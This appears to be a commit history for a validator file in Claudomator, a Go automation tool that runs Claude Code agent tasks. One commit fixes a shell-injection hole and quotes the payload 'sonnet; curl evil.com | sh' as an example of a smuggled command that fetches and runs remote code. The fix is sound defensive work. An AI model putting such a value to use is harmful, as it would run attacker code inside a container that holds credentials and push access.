summaryrefslogtreecommitdiff
path: root/internal/task/validator.go
AgeCommit message (Collapse)Author
8 daysfix(task): reject shell metacharacters in Agent.ModelPeter Stone
Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
2026-06-04fix(validator): require repository_url for claude/gemini agent typesPeter Stone
ContainerRunner fails at runtime with a non-descriptive error if repository_url is missing. Catch it at task creation time instead. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-20fix: auto-load default config file and relax repository_url requirementPeter Stone
root.go: PersistentPreRunE was only reading the config file when --config was explicitly passed. This left LocalModel.Endpoint empty so the local runner was never registered and the Classifier overrode agent.type:local. Now always tries ~/.claudomator/config.toml; silently ignores ENOENT. validator.go: repository_url was unconditionally required but is irrelevant for LocalRunner tasks (pure chat completions). The executor already handles an empty RepositoryURL via the Project registry lookup at dispatch time. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-03feat: require repository_url on tasks; fix UpdateTask to persist it; fix ↵Peter Stone
cascade-retry test race Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-08refactor(task): transition to generic agent architecturePeter Stone
2026-02-08Initial project: task model, executor, API server, CLI, storage, reporterPeter Stone
Claudomator automation toolkit for Claude Code with: - Task model with YAML parsing, validation, state machine (49 tests, 0 races) - SQLite storage for tasks and executions - Executor pool with bounded concurrency, timeout, cancellation - REST API + WebSocket for mobile PWA integration - Webhook/multi-notifier system - CLI: init, run, serve, list, status commands - Console, JSON, HTML reporters with cost tracking Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>